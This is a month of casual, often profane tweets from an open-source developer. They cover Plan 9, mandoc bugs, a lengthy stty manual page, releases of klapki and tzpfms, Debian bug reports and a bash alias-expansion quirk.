aiui the Very Point of plan 9 is that by definition, so long as you can address it, it's In Your Computer, which is successfully obscured by laying nomenclature impermeably thick; https://9p.io/wiki/plan9/Configuring_a_standalone_CPU_server/index.html appears to ~satisfy "run on local/remote CPU"

otoh, nixos is not plan 9

 Sat Oct 22 22:49:50 +0000 2022

conversely, i literally could not tell you if plan 9 is distributed as in "you log in to one big thing that clusters over many logical/physical CPUs/filesystems" or "every plan 9 is separate but they hotplug cluster very easily" or "both" or "both (different)" or "well, plan 9 do

 Sat Oct 22 22:54:16 +0000 2022

to that end, i don't know if i can unironically say "you seem to want something like plan 9" because it sure sounds kinda like that but plan 9 is so insane (aff.) in literally every conceivable direction that i just cant tell

 Sat Oct 22 22:57:09 +0000 2022

plan 9's only sin is not having been tumbled for decades at The American Monopoly, unlike its source system. our present could be much brighter if this date was meaningfully closer to 1975

 Sat Oct 22 23:27:44 +0000 2022

ooooooooh momma. holy shit. this explains so much

 Sun Oct 23 02:13:52 +0000 2022

featureless, hulking, very thin, 16k resolution:0.6|people

 Sun Oct 23 14:31:38 +0000 2022

using a magical tablet: yes, yes!!!
featured on reddit: noooooooooo

 Sun Oct 23 14:32:06 +0000 2022

okay so the builds were appearng to be hanging and how the HELL is god-damn mandoc 100% CPU busy-looping

 Sun Oct 23 17:20:04 +0000 2022

hot tip: change the loop condition in the loop :)

 Sun Oct 23 17:35:42 +0000 2022

fixed in CVS. don't necessarily want to build mandoc from source on CI, but if i gotta

 Sun Oct 23 17:39:14 +0000 2022

81 A4 pages (223 sideways A5), preprint for your consideration: https://lfs.nabijaczleweli.xyz/0012-groff-mdoc-*q-spacing/2022-10-23-stty.1-preprint :)

 Sun Oct 23 18:07:41 +0000 2022

normally i include these as screenshots but i could maybe fit a tenth of this in a tweet

 Sun Oct 23 18:08:17 +0000 2022

if you prefer an HTML version mildly mangled by mandoc (I haven't checked just how bad it is), it's at https://srhtcdn.githack.com/~nabijaczleweli/voreutils/blob/a51fd3b8b1588989c9bdb85fe1b0def00e14533a/man1/stty.1.html

 Sun Oct 23 18:30:05 +0000 2022

with thanks to @MrDOS whose canadian eye pre-set was pivotal for decoding some manuals

 Sun Oct 23 19:06:08 +0000 2022

turns out 81 pages is really a fucking lot lol

 Sun Oct 23 19:15:15 +0000 2022

to that end, of the pro-verbial Voreutils Programmers' Manual, this is:
* 42628/85558=49.8% words (ish, man | wc -w is imperfect)
* 355771/713741=49.8% source bytes (355771/26177=13.59x the size of the next-biggest)
* 81/215=37.6% A4 pages
* 223/557=40% sideward A5 pages

 Sun Oct 23 19:23:02 +0000 2022

world's first rust line discipline, lets fuckin go

 Sun Oct 23 20:05:45 +0000 2022

YAML (Yoooooo, AMong us Language?)

 Sun Oct 23 22:36:32 +0000 2022

who up describing they driver (not me any-more!)

 Sun Oct 23 22:38:09 +0000 2022

already know one, ill invite him :)

 Sun Oct 23 22:44:34 +0000 2022

randomly-chosen crew-mate/impostor .build.yml

 Sun Oct 23 22:45:07 +0000 2022

anti-slavic bias really showing

 Mon Oct 24 08:38:03 +0000 2022

aaaaaa what the fuck why does this piece of shit "Kenik"-branded DVR ask for a lease every ten seconds, twice in a burst, with embarrassing clock slew

 Mon Oct 24 09:08:50 +0000 2022

i couldnt dial it EBCAUSE ITS NOT RESPECTING THE FUCKING LEASE

 Mon Oct 24 09:21:24 +0000 2022

panicsort theory of DHCP

 Mon Oct 24 09:22:05 +0000 2022

when yuo see a 30k-Power-On-Hours HDD

 Mon Oct 24 15:04:44 +0000 2022

brug. what da hell

 Mon Oct 24 19:12:23 +0000 2022

if nullmailer has shooters, im one of them. if nullmailer has one shooter, thats me. if nullmailer ain't got no shooters, im fuckin dead

 Tue Oct 25 00:59:53 +0000 2022

and thats on hog

 Tue Oct 25 01:03:30 +0000 2022

uuuuuuuuuuuuuuuuug

 Tue Oct 25 11:04:35 +0000 2022

something tells me I've exceeded the design lifetime on this

 Tue Oct 25 11:04:54 +0000 2022

oh, no, its fine actually. normal day in SMARTland

 Tue Oct 25 11:05:48 +0000 2022

bublik bubLIK BUBLIK BUBLIK

 Tue Oct 25 13:08:58 +0000 2022

behold: RENAME_NOREPLACE, in all of +1/-1 https://github.com/openzfs/zfs/pull/14084

 Tue Oct 25 15:05:26 +0000 2022

(assuming it works and the kernel documentation isn't a complete lie, which is hardly a given)

 Tue Oct 25 15:05:53 +0000 2022

nevermind actually i had 30 on my mind because i just had a 30kh DVR disk die, the one in my router just rolled over 2^16 and it's still in perfect condition https://twitter.com/nabijaczleweli/status/1584863487284908033

 Tue Oct 25 16:16:09 +0000 2022

idk what the expectation here is, I assume this mirrors "pussy"/"cunt", being in polish shouldn't preclude it from being moderated?

 Tue Oct 25 17:22:10 +0000 2022

and it's in common use as the above since at least 1900, but fair; my b, soz

 Tue Oct 25 17:34:13 +0000 2022

she call me her population they way i be fucking dense

 Tue Oct 25 21:18:53 +0000 2022

he's observing improved renal function :0

 Tue Oct 25 21:24:39 +0000 2022

hes right

 Tue Oct 25 23:13:45 +0000 2022

if i were ingo schwarze i would simply have not bothered https://inbox.vuxu.org/mandoc-discuss/20221026161658.u56cfcmkilztiwpi@tarta.nabijaczleweli.xyz/T/

 Wed Oct 26 16:22:35 +0000 2022

pray for me lads

 Wed Oct 26 22:47:32 +0000 2022

really makes you stink, don't it

 Thu Oct 27 00:07:54 +0000 2022

http://bugs.debian.org/1022857

 Thu Oct 27 00:27:34 +0000 2022

wood's metal tea-spoon

 Thu Oct 27 17:52:38 +0000 2022

cant get much softer than actually fluid

 Thu Oct 27 18:29:02 +0000 2022

the strongest mathematician. howeve'r she is so fragile so as to crumble when handled by anything than cold hard steel

 Thu Oct 27 18:59:29 +0000 2022

the "hm i wonder how hard it would be to buy bonds" to "writing a complaint to the national competition-and-consumer protection agency about a state-run bank's direct marketing compliance" pipeline

 Thu Oct 27 19:39:16 +0000 2022

https://sr.ht/~nabijaczleweli/voreutils :)

 Thu Oct 27 19:42:05 +0000 2022

another successful klapki installation. another time it Just Worked with 0 config. maybe the voices are right. maybe i am just built different.

 Fri Oct 28 21:23:44 +0000 2022

i think ive overall spent more time babysitting systemd maintainers of various description to unfuck kernel-install than ive spent writing klapki altogether. or at least it feels that way. and the sd-boot experience is still miserable

 Fri Oct 28 21:26:43 +0000 2022

much like we are borne of the hummus on which we tread, we are borne as wyrms much like those what bountify it

 Sat Oct 29 00:57:41 +0000 2022

idk theres an ideology here i think. would love to know your thoughts on this

 Sat Oct 29 00:58:54 +0000 2022

its just like me fr fr

 Sat Oct 29 17:05:58 +0000 2022

https://bugs.debian.org/1022179 :)

 Sat Oct 29 17:07:24 +0000 2022

train :0

 Sat Oct 29 17:14:47 +0000 2022

https://bugs.debian.org/1023029 :/

 Sat Oct 29 19:15:11 +0000 2022

aaaaaaaaaa another fucking mandoc bug

 Sat Oct 29 19:29:17 +0000 2022

 Sat Oct 29 19:30:35 +0000 2022

if you're having trouble following along at home: that's mandoc -Tlint deciding that actually a break point (\:) is punctuation

 Sat Oct 29 19:38:33 +0000 2022

https://inbox.vuxu.org/mandoc-discuss/20221029194516.3sybejkhm7oqodic@babtop.nabijaczleweli.xyz/T/#u

 Sat Oct 29 19:46:02 +0000 2022

what you're missing here is that my reaction off-list was "ARE YOU PISSING IN MY ASS"

 Sat Oct 29 19:47:40 +0000 2022

average x32 binutils moment

 Sat Oct 29 20:22:22 +0000 2022

and its not a LTO thing so idk. no klapki 0.2.1-1 on X32 ig

 Sat Oct 29 20:35:45 +0000 2022

klapki 0.2.1 https://lists.sr.ht/~nabijaczleweli/klapki/%3C20221029203913.zaee54veabkxxp75%40babtop.nabijaczleweli.xyz%3E :)

 Sat Oct 29 20:41:11 +0000 2022

and a free one that fell out of tzpfms :v https://bugs.debian.org/1023070

 Sat Oct 29 21:55:54 +0000 2022

tzpfms 0.3.1 https://lists.sr.ht/~nabijaczleweli/tzpfms/%3C20221029215942.q6qpzwl76xzrxfr5%40babtop.nabijaczleweli.xyz%3E :)

 Sat Oct 29 22:00:19 +0000 2022

okay now breakfast

 Sat Oct 29 23:02:11 +0000 2022

wat da hell im experiencing two ante meridiem again

 Sun Oct 30 01:03:42 +0000 2022

they will never make a calendar reminder thing ive complained about not having for like years now (took me like two hours; second image unrelated)

 Mon Oct 31 02:11:57 +0000 2022

i was kinda going for an atrun(8)/rat race gag tbh

 Mon Oct 31 02:20:29 +0000 2022

https://git.sr.ht/~nabijaczleweli/ratrun :)

 Mon Oct 31 03:49:55 +0000 2022

eater "ass docking"

 Mon Oct 31 03:59:22 +0000 2022

cool. good job lads. love too use bash

 Mon Oct 31 13:22:35 +0000 2022

lmfaooooo low-six-digit-bug-number. is it from like 2006? place your bets now!!

 Mon Oct 31 13:25:31 +0000 2022

at least it goes into posix mode if argv[0]="sh", but
> Date: Fri, 08 Nov 2002 03:45:40 -0500
lmfao

 Mon Oct 31 13:27:45 +0000 2022

this all came out of a suspected dash parser bug, but, well, this is somehow even worse?

 Mon Oct 31 13:31:58 +0000 2022

oh, of course, this is because alias expansion also happens to functions. very normal day; `alias mail='mail -E "set nonullbodymsg"'`, `mail() { ...` becomes `mail -E "set nonullbodymsg"() { ...`. lovely

 Mon Oct 31 13:35:29 +0000 2022

lets goooooo

 Mon Oct 31 19:43:41 +0000 2022

maybe, that's a kornism tho

 Mon Oct 31 19:48:16 +0000 2022

:)

 Mon Oct 31 20:12:14 +0000 2022